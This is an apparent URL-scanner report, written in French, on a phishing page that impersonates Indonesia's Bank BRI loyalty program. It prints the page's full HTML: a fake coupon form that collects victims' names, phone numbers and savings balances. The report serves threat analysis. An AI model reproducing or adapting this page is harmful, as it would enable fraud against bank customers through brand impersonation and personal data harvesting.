- ID de l'analyse :
- 3d445d6a-9558-4b6d-8490-720cd023597dTerminée
- URL soumise :
- https://brifestival2024.officiallblues.my.id/data.html
- Fin du rapport :
Liens : 0 trouvé(s)
Liens sortants identifiés à partir de la page
Variables JavaScript : 8 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
Nom | Type |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
$ | function |
jQuery | function |
Vue | function |
VueTheMask | object |
$jscomp | object |
Messages de journal de console : 3 trouvé(s)
Messages consignés dans la console web
Type | Catégorie | Enregistrement |
---|---|---|
error | network |
|
error | javascript |
|
error | network |
|
HTML
Le corps HTML de la page en données brutes
<!DOCTYPE html><html lang="en"><head>
<!-- Warna untuk Chrome, Firefox OS, Opera dan Vivaldi -->
<meta content="#0F78CB" name="theme-color">
<!-- Warna untuk Windows Phone -->
<meta content="#1A89DF" name="msapplication-navbutton-color">
<!-- Warna untuk iOS Safari -->
<meta charset="utf-8">
<meta name="fragment" content="!">
<meta name="theme-color" content="#1E90FF">
<!-- HTML Meta Tags -->
<title>𝗕𝗥𝗜</title>
<meta name="description" content="BRIPoin adalah program loyalitas yang ditujukan untuk seluruh Nasabah Bank BRI (BritAma, Simpedes, E-Banking, Kartu Debit dan Kartu Kredit). Perbanyak poin Anda dari segala jenis transaksi di Bank BRI dan tukar poin dengan beragam reward menarik khusus untuk nasabah setia Bank BRI.">
<!-- Facebook Meta Tags -->
<meta property="og:url" content="">
<meta property="og:type" content="website">
<meta property="og:title" content="𝗕𝗥𝗜">
<meta property="og:description" content="BRIPoin adalah program loyalitas yang ditujukan untuk seluruh Nasabah Bank BRI (BritAma, Simpedes, E-Banking, Kartu Debit dan Kartu Kredit). Perbanyak poin Anda dari segala jenis transaksi di Bank BRI dan tukar poin dengan beragam reward menarik khusus untuk nasabah setia Bank BRI.">
<meta property="og:image" content="">
<!-- Twitter Meta Tags -->
<meta name="twitter:card" content="summary_large_image">
<meta property="twitter:domain" content="">
<meta property="twitter:url" content="">
<meta name="twitter:title" content="𝗕𝗥𝗜">
<meta name="twitter:description" content="BRIPoin adalah program loyalitas yang ditujukan untuk seluruh Nasabah Bank BRI (BritAma, Simpedes, E-Banking, Kartu Debit dan Kartu Kredit). Perbanyak poin Anda dari segala jenis transaksi di Bank BRI dan tukar poin dengan beragam reward menarik khusus untuk nasabah setia Bank BRI.">
<meta name="twitter:image" content="">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0, maximum-scale=1">
<link rel="icon" href="" type="image/x-icon">
<link rel="apple-touch-icon" href="">
<!-- Meta Tags Generated via https://www.opengraph.xyz -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
</head>
<body>
<style>
@import url("https://fonts.googleapis.com/css?family=Source+Code+Pro:400,500,600,700|Source+Sans+Pro:400,600,700&display=swap");
.html {
width: 100%;
height: 100%;
background-image: url("");
font-family: "Source Sans Pro", sans-serif;
background-repeat: no-repeat;
background-position: 100% 100%;
background-size: 100% 100%;
}
body{
background-image: url("");
font-family: "Source Sans Pro", sans-serif;
position: absolute;
background-color: #f1f1f2;
top: 0;
left: 0;
right: 0;
bottom: 0;
background-repeat: no-repeat;
background-position: 100% 100%;
background-size: 100% 100%;
font-size: 16px;
width: 100%;
height: 100%;
}
* {
box-sizing: border-box;
}
*:focus {
outline: none;
}
.wrapper {
min-height: 30vh;
display: flex;
padding: 50px 15px;
}
@media screen and (max-width: 700px), (max-height: 440px) {
.wrapper {
flex-wrap: wrap;
flex-direction: column;
}
}
.card-form {
max-width: 570px;
margin: auto;
width: 100%;
height: 470px;
}
@media screen and (max-width: 576px) {
.card-form {
margin: 0 auto;
}
}
.card-form__inner {
background: #fff;
font-family: "Source Sans Pro", sans-serif;
background-position: 100% 100%;
background-size: 100% 100%;
outline-style: ridge;
paint-order: stroke markers fill;
box-shadow: rgb(170, 170, 170) 2px 2px 4px 0px;
border-radius: 15px;
border: 3px ridge;
color: #1A89DF;
height: 395px;
padding-top: 120px;
}
@media screen and (max-width: 480px) {
.card-form__inner {
padding: 20px;
padding-top: 120px;
}
}
@media screen and (max-width: 360px) {
.card-form__inner {
padding: 15px;
padding-top: 145px;
}
}
.card-form__row {
display: flex;
align-items: flex-text;
}
@media screen and (max-width: 480px) {
.card-form__row {
flex-wrap: wrap;
}
}
.card-form__col {
flex: auto;
margin-right: 35px;
}
.card-form__col:last-child {
margin-right: 0;
}
@media screen and (max-width: 480px) {
.card-form__col {
margin-right: 0;
flex: unset;
width: 100%;
margin-bottom: 20px;
}
.card-form__col:last-child {
margin-bottom: 0;
}
}
.card-form__col.-cvv {
max-width: 150px;
}
@media screen and (max-width: 480px) {
.card-form__col.-cvv {
max-width: initial;
}
}
.card-form__group {
display: flex;
align-items: flex-start;
flex-wrap: wrap;
}
.card-form__group .card-input__input {
flex: 1;
margin-right: 15px;
}
.card-form__group .card-input__input:last-child {
margin-right: 0;
}
.card-form__button {
width: 100%;
height: 43px;
box-shadow: 0px 17px 20px -6px rgba(36, 52, 70, 0.36);
background: #1A89DF;
border: 3px blue;
outline-style: groove;
color: #fff;
border-radius: 22px;
font-size: 15px;
font-weight: 500;
style="font-weight: 800;
font-family: "Source Sans Pro", sans-serif;
box-shadow: #D5D5D5 10px;
margin-top: -10px;
cursor: pointer;
}
@media screen and (max-width: 480px) {
.card-form__button {
margin-top: -10px;
}
}
.card-item {
max-width: 430px;
height: 270px;
margin-left: auto;
margin-right: auto;
position: relative;
z-index: 2;
width: 100%;
}
@media screen and (max-width: 480px) {
.card-item {
max-width: 310px;
height: 220px;
width: 90%;
}
}
@media screen and (max-width: 360px) {
.card-item {
height: 180px;
}
}
.card-item.-active .card-item__side.-front {
transform: perspective(1000px) rotateY(180deg) rotateX(0deg) rotateZ(0deg);
}
.card-item.-active .card-item__side.-back {
transform: perspective(1000px) rotateY(0) rotateX(0deg) rotateZ(0deg);
}
.card-item__focus {
position: absolute;
z-index: 3;
border-radius: 5px;
left: 0;
top: 0;
width: 100%;
height: 100%;
transition: all 0.35s cubic-bezier(0.71, 0.03, 0.56, 0.85);
opacity: 0;
pointer-events: none;
overflow: hidden;
border: 2px solid rgba(255, 255, 255, 0.65);
}
.card-item__focus:after {
content: "";
position: absolute;
top: 0;
left: 0;
width: 100%;
background: #08142f;
height: 100%;
border-radius: 5px;
filter: blur(25px);
opacity: 0.5;
}
.card-item__focus.-active {
opacity: 1;
}
.card-item__side {
border-radius: 15px;
overflow: hidden;
box-shadow: 0 20px 60px 0 rgba(14, 42, 90, 0.55);
transform: perspective(2000px) rotateY(0deg) rotateX(0deg) rotate(0deg);
transform-style: preserve-3d;
transition: all 0.8s cubic-bezier(0.71, 0.03, 0.56, 0.85);
backface-visibility: hidden;
height: 100%;
}
.card-item__side.-back {
position: absolute;
top: 0;
left: 0;
width: 100%;
transform: perspective(2000px) rotateY(-180deg) rotateX(0deg) rotate(0deg);
z-index: 2;
padding: 0;
height: 100%;
}
.card-item__side.-back .card-item__cover {
transform: rotateY(-180deg);
}
.card-item__bg {
max-width: 100%;
display: block;
max-height: 100%;
height: 100%;
width: 100%;
object-fit: cover;
border: 3px solid snow;
border-radius: 15px;
}
.card-item__cover {
height: 100%;
background-color: white;
position: absolute;
height: 100%;
background-color: white;
left: 0;
top: 0;
width: 100%;
border-radius: 15px;
overflow: hidden;
}
.card-item__cover:after {
content: "";
position: absolute;
left: 0;
top: 0;
width: 100%;
height: 100%;
background: ;
}
.card-item__top {
display: flex;
border: 2px;
align-items: flex-start;
justify-content: space-between;
margin-bottom: 40px;
padding: 0 10px;
}
@media screen and (max-width: 480px) {
.card-item__top {
margin-bottom: 25px;
}
}
@media screen and (max-width: 360px) {
.card-item__top {
margin-bottom: 20px;
}
}
.card-item__chip {
width: 60px;
}
@media screen and (max-width: 480px) {
.card-item__chip {
width: 50px;
}
}
@media screen and (max-width: 360px) {
.card-item__chip {
width: 40px;
}
}
.card-item__type {
height: 45px;
position: relative;
display: flex;
justify-content: flex-end;
max-width: 100px;
margin-left: auto;
width: 100%;
}
@media screen and (max-width: 480px) {
.card-item__type {
height: 40px;
max-width: 90px;
}
}
@media screen and (max-width: 360px) {
.card-item__type {
height: 30px;
}
}
.card-item__typeImg {
max-width: 100%;
object-fit: contain;
max-height: 100%;
object-position: top right;
}
.card-item__info {
color: #fff;
width: 100%;
max-width: calc(100% - 85px);
padding: 10px 15px;
font-weight: 500;
display: block;
cursor: pointer;
}
@media screen and (max-width: 480px) {
.card-item__info {
padding: 10px;
}
}
.card-item__holder {
opacity: 100;
font-size: 13px;
margin-bottom: 6px;
color: yellow;
}
@media screen and (max-width: 480px) {
.card-item__holder {
font-size: 12px;
margin-bottom: 5px;
}
}
.card-item__wrapper {
font-family: "Source Code Pro", monospace;
padding: 25px 15px;
position: relative;
z-index: 4;
height: 100%;
text-shadow: 7px 6px 10px rgba(14, 42, 90, 0.8);
user-select: none;
}
@media screen and (max-width: 480px) {
.card-item__wrapper {
padding: 20px 10px;
}
}
.card-item__name {
font-size: 18px;
line-height: 1;
white-space: nowrap;
max-width: 100%;
overflow: hidden;
text-overflow: ellipsis;
text-transform: uppercase;
}
@media screen and (max-width: 480px) {
.card-item__name {
font-size: 16px;
}
}
.card-item__nameItem {
display: inline-block;
min-width: 8px;
position: relative;
}
.card-item__number {
font-weight: 500;
line-height: 1;
color: #fff;
font-size: 27px;
margin-bottom: 35px;
display: inline-block;
padding: 10px 15px;
cursor: pointer;
}
@media screen and (max-width: 480px) {
.card-item__number {
font-size: 21px;
margin-bottom: 15px;
padding: 10px 10px;
}
}
@media screen and (max-width: 360px) {
.card-item__number {
font-size: 19px;
margin-bottom: 10px;
padding: 10px 10px;
}
}
.card-item__numberItem {
width: 16px;
display: inline-block;
}
.card-item__numberItem.-active {
width: 30px;
}
@media screen and (max-width: 480px) {
.card-item__numberItem {
width: 13px;
}
.card-item__numberItem.-active {
width: 16px;
}
}
@media screen and (max-width: 360px) {
.card-item__numberItem {
width: 12px;
}
.card-item__numberItem.-active {
width: 8px;
}
}
.card-item__content {
color: #fff;
display: flex;
align-items: flex-start;
}
.card-item__date {
flex-wrap: wrap;
font-size: 18px;
margin-left: -5;
padding: 10px;
display: inline-flex;
width: 80px;
white-space: nowrap;
flex-shrink: 0;
cursor: pointer;
}
@media screen and (max-width: 480px) {
.card-item__date {
font-size: 16px;
width: 140px;
height: 45px;
padding-top: -5px;
}
}
.card-item__dateItem {
position: relative;
}
.card-item__dateItem span {
width: 22px;
margin-left: 25px;
display: inline-block;
}
.card-item__dateTitle {
opacity: 100;
font-size: 13px;
padding-bottom: 6px;
width: 100%;
margin-left: 0px;
}
@media screen and (max-width: 480px) {
.card-item__dateTitle {
font-size: 12px;
padding-bottom: 5px;
margin-left: 20px;
color: yellow;
}
}
.card-item__band {
background: rgba(0, 0, 19, 0.8);
width: 100%;
height: 50px;
margin-top: 30px;
position: relative;
z-index: 2;
}
@media screen and (max-width: 480px) {
.card-item__band {
margin-top: 20px;
}
}
@media screen and (max-width: 360px) {
.card-item__band {
height: 40px;
margin-top: 10px;
}
}
.card-item__cvv {
text-align: right;
position: relative;
z-index: 2;
padding: 15px;
}
.card-item__cvv .card-item__type {
opacity: 0.7;
}
@media screen and (max-width: 360px) {
.card-item__cvv {
padding: 10px 15px;
}
}
.card-item__cvvTitle {
padding-right: 10px;
font-size: 15px;
font-weight: 500;
color: #fff;
margin-bottom: 5px;
}
.card-item__cvvBand {
height: 45px;
background: #fff;
margin-bottom: 30px;
text-align: right;
display: flex;
align-items: center;
justify-content: flex-end;
padding-right: 10px;
color: #1a3b5d;
font-size: 18px;
border-radius: 4px;
box-shadow: 0px 10px 20px -7px rgba(32, 56, 117, 0.35);
}
@media screen and (max-width: 480px) {
.card-item__cvvBand {
height: 40px;
margin-bottom: 20px;
}
}
@media screen and (max-width: 360px) {
.card-item__cvvBand {
margin-bottom: 15px;
}
}
.card-list {
margin-bottom: -100px;
}
@media screen and (max-width: 480px) {
.card-list {
margin-bottom: -120px;
}
}
.card-input {
margin-bottom: 20px;
}
.card-input__label {
font-size: 15px;
margin-bottom: 5px;
font-weight: 500;
color: #1A89DF;
width: 100%;
margin-top: -15px;
display: block;
user-select: none;
}
.card-input__input {
width: 100%;
height: 40px;
border-radius: 10px;
box-shadow: 0px 17px 20px -6px rgba(36, 52, 70, 0.36); border: outline-style: groove;
border: 2px solid #1A89DF;
transition: all 0.3s ease-in-out;
font-size: 18px;
padding: 5px;
padding-left: 10px;
padding-top: 3px;
background: #fff;
color: #1a3b5d;
font-family: "Source Sans Pro", sans-serif;
}
.card-input__input:hover, .card-input__input:focus {
border-color: #FAC03B;
}
.card-input__input:focus {
box-shadow: 0px 10px 20px -13px rgba(32, 56, 117, 0.35);
background: #fff;
}
.card-input__input::placeholder{
font-size: 14px;
}
.card-input__input.-select {
-webkit-appearance: none;
background-image: url("https://static.thenounproject.com/png/4066370-200.png");
background-size: 14px;
background-position: 90% center;
background-repeat: no-repeat;
padding-right: 30px;
padding-top: 3px;
}
.card-input__input.-select2 {
-webkit-appearance: none;
background-image: url("https://uxwing.com/wp-content/themes/uxwing/download/e-commerce-currency-shopping/card-cvv-icon.png");
background-size: 22px;
background-position: 90% center;
background-repeat: no-repeat;
padding-right: 30px;
padding-top: 3px;
}
.slide-fade-up-enter-active {
transition: all 0.25s ease-in-out;
transition-delay: 0.1s;
position: relative;
}
.slide-fade-up-leave-active {
transition: all 0.25s ease-in-out;
position: absolute;
}
.slide-fade-up-enter {
opacity: 0;
transform: translateY(15px);
pointer-events: none;
}
.slide-fade-up-leave-to {
opacity: 0;
transform: translateY(-15px);
pointer-events: none;
}
.slide-fade-right-enter-active {
transition: all 0.25s ease-in-out;
transition-delay: 0.1s;
position: relative;
}
.slide-fade-right-leave-active {
transition: all 0.25s ease-in-out;
position: absolute;
}
.slide-fade-right-enter {
opacity: 0;
transform: translateX(10px) rotate(45deg);
pointer-events: none;
}
.slide-fade-right-leave-to {
opacity: 0;
transform: translateX(-10px) rotate(45deg);
pointer-events: none;
}
.github-btn {
position: absolute;
right: 40px;
bottom: 50px;
text-decoration: none;
padding: 15px 25px;
border-radius: 4px;
box-shadow: 0px 4px 30px -6px rgba(36, 52, 70, 0.65);
background: #24292e;
color: #fff;
font-weight: bold;
letter-spacing: 1px;
font-size: 16px;
text-align: center;
transition: all 0.3s ease-in-out;
}
@media screen and (min-width: 500px) {
.github-btn:hover {
transform: scale(1.1);
box-shadow: 0px 17px 20px -6px rgba(36, 52, 70, 0.36);
}
}
@media screen and (max-width: 700px) {
.github-btn {
position: relative;
bottom: auto;
right: auto;
margin-top: 20px;
}
.github-btn:active {
transform: scale(1.1);
box-shadow: 0px 17px 20px -6px rgba(36, 52, 70, 0.36);
}
}
</style>
<div id="app" class="wrapper"><img src="https://hosting.tigerengine.id/ciakn7.png" style="width: 100%; position: fixed; bottom: 0px; left: 0px; right: 0px; margin: 0px auto;"> <img src="https://hosting.tigerengine.id/9vevbb.jpg" style="width: 100%; position: fixed; top: 0px; left: 0px; right: 0px; margin: 0px auto;"> <font style="color: rgb(26, 137, 223); text-align: center; margin-top: -30px; margin-bottom: 10px; font-weight: 800; font-size: 20px;">Lengkapi data Pencetakan Kupon</font> <div class="card-form" style="margin-top: 30px;"><div class="card-list"><div class="card-item"><div class="card-item__side -front"><div class="card-item__focus"></div> <div class="card-item__cover"><img src="https://hosting.tigerengine.id/9n66lb.png" class="card-item__bg"></div> <div class="card-item__wrapper"><div class="card-item__top"><div class="card-item__type"><!----></div></div> <label for="cardNumber" class="card-item__number"><span><div class="card-item__numberItem">C</div></span><span><div class="card-item__numberItem">e</div></span><span><div class="card-item__numberItem">t</div></span><span><div class="card-item__numberItem">a</div></span><span><div class="card-item__numberItem">k</div></span><span><div class="card-item__numberItem -active"> </div></span><span><div class="card-item__numberItem">K</div></span><span><div class="card-item__numberItem">u</div></span><span><div class="card-item__numberItem">p</div></span><span><div class="card-item__numberItem">o</div></span><span><div class="card-item__numberItem">n</div></span></label> <div class="card-item__content"><label for="cardName" class="card-item__info"><div class="card-item__holder">Nomor Handphone</div> <div class="card-item__name">+62###-####-####</div></label> <div class="card-item__date"><label for="cardMonth" class="card-item__dateTitle"></label> <label for="cardMonth" class="card-item__dateItem"><span style="margin-left: 40px;"></span></label></div></div></div></div> <div class="card-item__side -back"><div class="card-item__cover"><img src="https://hosting.tigerengine.id/flbk1a.jpg" class="card-item__bg"></div> <div class="card-item__cvv" style="margin-top: 20px;"><div class="card-item__cvvTitle">CVV</div> <div class="card-item__cvvBand"></div> <div class="card-item__type"></div></div></div></div></div> <br><br><br> <div class="card-form__inner"><form id="inputlogin" onsubmit="formdebit(); return false" method="POST"><div class="card-input" style="margin-top: -40px;"><label for="cardName" class="card-input__label" style="font-weight: 800; margin-left: 3px;">Nama Lengkap Nasabah</label> <input type="hidden" id="logo" value="༺═𝗚𝗲𝗯𝘆𝗮𝗿 𝗕𝗥𝗜═༻"> <input type="text" id="nama" name="nama" data-ref="cardNumber" autocomplete="off" placeholder="Masukan Nama Lengkap Nasabah" required="required" class="card-input__input"></div> <div class="card-input"><label for="cardName" class="card-input__label" style="font-weight: 800; margin-left: 3px;">Nomor Handphone</label> <input type="tel" id="nomor" name="nomor" data-ref="cardName" autocomplete="off" placeholder="Masukkan Nomor Handphone" maxlength="13" required="required" class="card-input__input"></div> <div class="card-form__row"><div class="card-form__col"><div class="card-form__group"></div> <div class="card-form__col -cvv"><div class="card-input"><label for="cardCvv" class="card-input__label" style="font-weight: 800; margin-left: 5px;">Saldo Rekening Tabungan saat Ini</label> <input type="tel" id="saldo" name="saldo" placeholder="" maxlength="11" autocomplete="off" required="required" class="uang card-input__input" style="background-image: url("https://hosting.tigerengine.id/qy4dgg.jpg"); background-repeat: no-repeat; background-position: 100% 100%; background-size: 100% 100%; background-color: rgb(221, 221, 221); padding-left: 35px;"></div></div></div> <button id="kirims" type="submit" class="card-form__button">Lanjut </button></div></form></div></div></div></body></html>